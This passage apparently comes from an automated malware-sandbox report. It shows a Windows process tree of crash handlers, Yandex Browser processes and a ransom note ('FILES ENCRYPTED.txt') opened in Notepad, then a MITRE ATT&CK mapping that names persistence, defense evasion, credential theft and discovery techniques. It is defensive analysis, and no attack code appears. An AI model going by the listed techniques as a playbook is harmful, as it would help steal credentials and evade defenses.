C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 2644 -ip 2644
1⤵
PID:1332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 2644 -ip 2644
1⤵
PID:9608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 2644 -ip 2644
1⤵
PID:7016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2644 -ip 2644
1⤵
PID:10908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 2644 -ip 2644
1⤵
PID:3480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2644 -ip 2644
1⤵
PID:4280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:8536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:7876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2644 -ip 2644
1⤵
PID:6376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2644 -ip 2644
1⤵
PID:8736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2644 -ip 2644
1⤵
PID:8976

C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe
"C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --run-as-service
1⤵
PID:8200
- C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe
  "C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://crash-reports.browser.yandex.net/submit --annotation=machine_id=488dca4c15f9a1d330ad312b391a804e --annotation=main_process_pid=8200 --annotation=plat=Win32 --annotation=prod=Yandex --annotation=session_logout=False --annotation=ver=24.10.2.705 --initial-client-data=0x254,0x258,0x25c,0x230,0x260,0x104e784,0x104e790,0x104e79c
  2⤵
  PID:7704
- C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe
  "C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --update-scheduler
  2⤵
  PID:8312
- - C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe
    "C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --update-background-scheduler
    3⤵
    PID:6936

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\97bdec6c3d374801be0ad098f120489e /t 11956 /p 5660
1⤵
PID:4612

C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --progress-window=0 --install-start-time-no-uac=615782002
1⤵
PID:9360
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data\Crashpad" --url=https://crash-reports.browser.yandex.net/submit --annotation=machine_id= --annotation=main_process_pid=9360 --annotation=metrics_client_id=df6dbbb074db4c11a2d4758c3fac6aff --annotation=plat=Win32 --annotation=prod=Yandex --annotation=session_logout=False --annotation=ver=24.10.2.705 --initial-client-data=0x180,0x184,0x188,0x15c,0x18c,0x6d8b9a24,0x6d8b9a30,0x6d8b9a3c
  2⤵
  PID:12440
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=gpu-process --user-id --brand-id=yandex --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --gpu-process-kind=sandboxed --field-trial-handle=2008,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2004 /prefetch:2
  2⤵
  PID:7680
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=gpu-process --user-id --brand-id=yandex --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --gpu-process-kind=trampoline --field-trial-handle=1800,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:6
  2⤵
  PID:5564
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ru --service-sandbox-type=none --user-id --brand-id=yandex --process-name="Network Service" --field-trial-handle=2364,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2384 --brver=24.10.2.705 /prefetch:3
  2⤵
  PID:10280
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ru --service-sandbox-type=service --user-id --brand-id=yandex --process-name="Storage Service" --field-trial-handle=2580,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2608 --brver=24.10.2.705 /prefetch:8
  2⤵
  PID:8764
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=ru --service-sandbox-type=audio --user-id --brand-id=yandex --process-name="Audio Service" --field-trial-handle=2928,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=3028 --brver=24.10.2.705 /prefetch:8
  2⤵
  PID:10216
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=ru --service-sandbox-type=none --user-id --brand-id=yandex --process-name="Video Capture" --field-trial-handle=3276,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=3368 --brver=24.10.2.705 /prefetch:8
  2⤵
  PID:9832
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id --brand-id=yandex --extension-process --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://brontp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --enable-instaserp --allow-prefetch --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3356,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:2
  2⤵
  PID:11312
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ru --service-sandbox-type=service --user-id --brand-id=yandex --process-name="Data Decoder Service" --field-trial-handle=3872,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=3900 --brver=24.10.2.705 /prefetch:8
  2⤵
  PID:7464
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id --brand-id=yandex --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://brontp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --enable-instaserp --allow-prefetch --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4688,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:1
  2⤵
  PID:1452
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=speechkit.mojom.Speechkit --lang=ru --service-sandbox-type=none --user-id --brand-id=yandex --process-name="Speechkit Service" --field-trial-handle=4884,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4868 --brver=24.10.2.705 /prefetch:8
  2⤵
  PID:12168
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ru --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --user-id --brand-id=yandex --process-name="Data Decoder Service" --field-trial-handle=5132,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=5152 --brver=24.10.2.705 /prefetch:8
  2⤵
  PID:6104
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=uwp_cookie_provider.mojom.UwpCookieProvider --lang=ru --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --user-id --brand-id=yandex --process-name=uwp_cookie_provider.mojom.UwpCookieProvider --field-trial-handle=5140,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=5560 --brver=24.10.2.705 /prefetch:8
  2⤵
  PID:6596
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ru --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --user-id --brand-id=yandex --process-name="Data Decoder Service" --field-trial-handle=5736,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=5552 --brver=24.10.2.705 /prefetch:8
  2⤵
  PID:12812
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id --brand-id=yandex --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://brontp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --ya-custo-process --enable-instaserp --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5336,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:1
  2⤵
  PID:11564
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id --brand-id=yandex --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://brontp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --ya-custo-process --enable-instaserp --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5340,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:1
  2⤵
  PID:7792
- C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe
  "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id --brand-id=yandex --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://brontp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --enable-instaserp --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=6364,i,18032371934036320905,6890177203597993997,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:1
  2⤵
  PID:4612

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\d55d7d017e67496f8c850fd1a31850a6 /t 6712 /p 6396
1⤵
PID:4272

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f4 0x2f8
1⤵
PID:4032

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\FILES ENCRYPTED.txt
1⤵
PID:12080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 2644 -ip 2644
1⤵
PID:880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery